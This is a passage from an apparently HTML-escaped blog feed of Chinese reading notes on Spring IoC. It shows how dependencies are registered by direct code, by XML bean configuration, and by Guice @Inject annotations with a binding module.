&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;那你要问了，这怎么管理对象间的依赖关系呢&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;IoC Service Provider怎么就能完全领会代码的意图呢？他怎么记住这么多的依赖关系等等，他要这么做&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;1.元数据方式&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;2.通过描述性较强的xml来记录对应信息&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;3.通过编写代码的方式注册这些信息&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;3.直接编码方式，&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;明确了依赖关系&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IoContainer container = ...; 
container.register(FXNewsProvider.class,new FXNewsProvider()); 
container.register(IFXNewsListener.class,new DowJonesNewsListener());
 ... 
FXNewsProvider newsProvider = (FXNewsProvider)container.get(FXNewsProvider.class); 
newProvider.getAndPersistNews();&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;2.配置文件方式&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;最常见的还是xml方式，&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:xhtml decode:true&#34;&gt;&amp;lt;bean id=&#34;newsProvider&#34; class=&#34;..FXNewsProvider&#34;&amp;gt;  
 &amp;lt;property name=&#34;newsListener&#34;&amp;gt;   
  &amp;lt;ref bean=&#34;djNewsListener&#34;/&amp;gt;  
 &amp;lt;/property&amp;gt;  
 &amp;lt;property name=&#34;newPersistener&#34;&amp;gt;   
  &amp;lt;ref bean=&#34;djNewsPersister&#34;/&amp;gt;  
 &amp;lt;/property&amp;gt; 
&amp;lt;/bean&amp;gt;  
&amp;lt;bean id=&#34;djNewsListener&#34;   class=&#34;..impl.DowJonesNewsListener&#34;&amp;gt; 
&amp;lt;/bean&amp;gt; 
&amp;lt;bean id=&#34;djNewsPersister&#34;   class=&#34;..impl.DowJonesNewsPersister&#34;&amp;gt; 
&amp;lt;/bean&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;然后我们要用的时候&lt;/div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;container.readConfigurationFiles(...); 
FXNewsProvider newsProvider = (FXNewsProvider)container.getBean(&#34;newsProvider&#34;); 
newsProvider.getAndPersistNews();&lt;/pre&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;容器读取配置文件，然后取到其中的两个类，注入进来。&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;1.元数据方式&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;代表实现Java Guide，基于java注解，在类中直接使用元数据信息来标注 各个对象之间的依赖关系。然后框架根据信息组装之后交给客户端对象使用&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;这种方式重写我们的例子就是&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class FXNewsProvider {  
private IFXNewsListener  newsListener;  
private IFXNewsPersister newPersistener;  
@Inject  
public FXNewsProvider(IFXNewsListener listener,IFXNewsPersister persister)  {   this.newsListener   = listener;   
this.newPersistener = persister;   
}  
... 
}&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;通过 @Inject，我们指明需要IoC Service Provider通过构造方法注入方&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;余下的部分由Guide提供的Module完成，我们继承一下。&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class NewsBindingModule extends AbstractModule  {  
@Override  
protected void configure() {  
bind(IFXNewsListener.class) .to(DowJonesNewsListener.class).in(Scopes.SINGLETON);   
bind(IFXNewsPersister.class).to(DowJonesNewsPersister.class).in(Scopes.SINGLETON);  
} 
}&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;最后，要用的时候，直接来拿吧。&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;Injector injector = Guice.createInjector(new NewsBindingModule()); 
FXNewsProvider newsProvider = injector.getInstance(FXNewsProvider.class); 
newsProvider.getAndPersistNews();&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>《Spring揭秘》读书笔记-第二章IoC的基本概念</title>
